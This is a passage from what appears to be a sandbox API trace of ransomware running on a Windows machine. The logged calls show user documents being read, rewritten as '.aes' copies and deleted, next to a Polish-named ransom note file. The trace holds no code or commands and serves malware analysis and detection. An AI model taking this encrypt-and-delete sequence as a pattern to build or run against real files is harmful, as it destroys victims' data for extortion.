lpOverlapped=0x0) returned 1 [0076.259] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.259] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.260] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.260] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.260] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.260] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.260] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.260] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.261] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.261] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.261] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.261] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.261] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.261] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.262] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x3bf, lpOverlapped=0x0) returned 1 [0076.262] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8990*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0076.262] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x4d1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce974*=0x4d1, lpOverlapped=0x0) returned 1 [0076.262] WriteFile (in: hFile=0x7ec, lpBuffer=0x287ff1c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x287ff1c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0076.262] CloseHandle (hObject=0x7ec) returned 1 [0076.263] CloseHandle (hObject=0x8e4) returned 1 [0076.263] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods", lpFilePart=0x0) returned 0x41 [0076.263] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\8pUhJoF5OUB0zF3kJ4pk.ods" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\8puhjof5oub0zf3kj4pk.ods")) returned 1 [0076.264] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0076.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0076.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79b9280, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe79b9280, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe79df3e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0076.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0076.264] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0076.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp", lpFilePart=0x0) returned 0x31 [0076.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0076.294] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\eqov.odp"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5726180, ftCreationTime.dwHighDateTime=0x1d3039c, ftLastAccessTime.dwLowDateTime=0xfbc4cce0, ftLastAccessTime.dwHighDateTime=0x1d30170, ftLastWriteTime.dwLowDateTime=0xfbc4cce0, ftLastWriteTime.dwHighDateTime=0x1d30170, nFileSizeHigh=0x0, nFileSizeLow=0x12ab6)) returned 1 [0076.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0076.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp", lpFilePart=0x0) returned 0x31 [0076.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0076.294] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\eqov.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0076.294] GetFileType (hFile=0x8e4) returned 0x1 [0076.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0076.294] GetFileType (hFile=0x8e4) returned 0x1 [0076.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp.aes", lpFilePart=0x0) returned 0x35 [0076.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0076.294] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\eqov.odp.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0076.295] GetFileType (hFile=0x7ec) returned 0x1 [0076.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0076.295] GetFileType (hFile=0x7ec) returned 0x1 [0076.295] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0076.302] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0076.302] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0076.309] LocalFree (hMem=0x703ef10) returned 0x0 [0076.309] GetAdaptersAddresses () returned 0x6f [0076.315] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0076.315] GetAdaptersAddresses () returned 0x0 [0076.320] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.326] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.326] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.333] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.333] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.340] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.340] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.364] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.365] LocalFree (hMem=0x7074460) returned 0x0 [0076.365] GetBestInterfaceEx (in: pDestAddr=0x26be918*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0076.537] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.539] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.540] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.540] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.540] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.540] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.540] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.541] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.541] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.541] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.542] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.542] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.542] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.542] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.542] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.542] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.543] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.543] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.543] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.543] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.544] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.544] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.545] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.545] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.545] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.545] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.546] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.546] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.551] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.560] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.560] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.560] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.561] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.561] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.561] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.561] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0xab6, lpOverlapped=0x0) returned 1 [0076.561] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b8830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b8830*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0076.561] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0xbd1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce974*=0xbd1, lpOverlapped=0x0) returned 1 [0076.561] WriteFile (in: hFile=0x7ec, lpBuffer=0x26da270*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x26da270*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0076.561] CloseHandle (hObject=0x7ec) returned 1 [0076.563] CloseHandle (hObject=0x8e4) returned 1 [0076.563] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp", lpFilePart=0x0) returned 0x31 [0076.563] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\eQOV.odp" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\eqov.odp")) returned 1 [0076.564] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0076.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0076.564] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79b9280, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe79b9280, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe79df3e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0076.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0076.564] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0076.590] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt", lpFilePart=0x0) returned 0x33 [0076.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0076.591] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\szjbmk.odt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866e9e00, ftCreationTime.dwHighDateTime=0x1d2fb1f, ftLastAccessTime.dwLowDateTime=0x2372b580, ftLastAccessTime.dwHighDateTime=0x1d2f637, ftLastWriteTime.dwLowDateTime=0x2372b580, ftLastWriteTime.dwHighDateTime=0x1d2f637, nFileSizeHigh=0x0, nFileSizeLow=0x11de1)) returned 1 [0076.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0076.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt", lpFilePart=0x0) returned 0x33 [0076.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0076.591] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\szjbmk.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0076.591] GetFileType (hFile=0x8e4) returned 0x1 [0076.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0076.591] GetFileType (hFile=0x8e4) returned 0x1 [0076.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt.aes", lpFilePart=0x0) 